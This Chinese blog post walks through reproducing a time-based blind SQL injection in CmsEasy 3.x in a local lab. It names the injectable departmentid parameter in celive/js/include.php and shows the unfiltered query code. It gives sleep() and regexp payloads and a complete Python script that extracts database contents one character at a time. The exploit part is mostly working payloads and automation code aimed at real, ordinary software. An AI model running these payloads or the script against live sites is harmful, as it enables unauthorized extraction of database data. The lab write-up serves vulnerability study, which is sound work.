美文网首页
易通SQL时间盲注复现

易通SQL时间盲注复现

作者: 漏斗社区 | 来源:发表于2017-11-14 15:03 被阅读0次

    易通CMS是一个企业网站建站系统,本期带来其3.X.X版本中,前台SQL注入和后台文件上传的漏洞复现过程。

    基础环境:

    1. 虚拟机win2003搭建phpstudy作为web环境,IP为192.168.159.185。

    2. CmsEasy V3.X.X 源码一份。

    源码部署过程:

    1. web环境的选择使用PHP 5.2.17+apache的环境。

    2. 将易通CMS部署到网站根目录上

    下载地址:http://pan.baidu.com/s/1dET5uY9

     密码:shxn

    解压完成后,将源代码直接放置win2003 的phpstudy的WWW根目录上。

    3. 访问网站IP,进行搭建。

    4. 根据提示,依次填写数据库帐号密码,数据库名,网站管理员帐号密码等。

    5. 安装成功,会跳转到后台登录页面。

    漏洞复现过程:

    1. SQL注入点位置:http://IP/celive/js/include.php?cmseasylive=1111&departmentid=0

    2. 下面是include.php的部分代码。

    if (isset($_GET['departmentid'])) {

    $departmentid = $_GET['departmentid'];

    $activity_sql = "SELECT `id` FROM `".$config['prefix']."activity` WHERE  `departmentid`='".$departmentid."' AND `operatorid`='".$operatorid."'";

    $onlinelink2 = '';

    @$result2 = $db->my_fetch_array($activity_sql);

    分析代码,可以输入到参数departmentid的值会传递到$activity_sql去查询,此处没有做过滤,但也没有回显查询结果和爆错语句,因此可以尝试使用字符型的时间盲注。

    3. 基本payload

    include.php?cmseasylive=1111&departmentid=0' and sleep(5) AND '1'='1

    include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

    4. 写个python脚本来跑时间盲注。

    #-*-coding:utf-8-*-

    import requests,string,time

    url="http://127.0.0.1/cmseasy/uploads/celive/js/include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

    payloads=string.letters+string.digits+"_-:@.,"

    def cmseasysql(sqli):      #sqli为你输入的sql语句,如select database()

    temp=''

    for j in range(100):

    l1=len(temp)

    for payload in payloads:

    payloadtmp=payload

    payload=temp+payload

    uri=url%(sqli,payload)

    #print uri

    startTime=time.time()          #请求前记录初始时间

    response=requests.get(uri)

    if (time.time()-startTime)>5:  #请求后时间差是否大于5

    temp+=payloadtmp

    print 'Get_Data:'+temp #方便查看结果,可注释

    break

    l2=len(temp)

    if l1==l2:  #此处是优化速度,跑到数据就不再循环,判断依据是长度

    break

    print temp

    def runsqli():  #while循环:可以一直查询SQL语句

    while(1):

    sqli=raw_input("Input you sqli: ")

    cmseasysql(sqli)

    if __name__ == '__main__':

    runsqli()

    运行效果:

    输入的语句,可以是select database(),select user(),select tables from information_schema...

    5. 爆绝对路径漏洞。

    小结:

    本次漏洞复现主要是斗哥用来练手sql时间盲注和脚本的编写了,注入语句用的是正则+if函数来进行的,大家有什么更好的姿势也可以提出来交流交流,cmseasy原本有上传漏洞的,不过此次的版本对这个漏洞做了修改,没能复现出来。大家可以回去试试看哪个版本。

    相关文章

      网友评论

          本文标题:易通SQL时间盲注复现

          本文链接:https://www.haomeiwen.com/subject/mgqfvxtx.html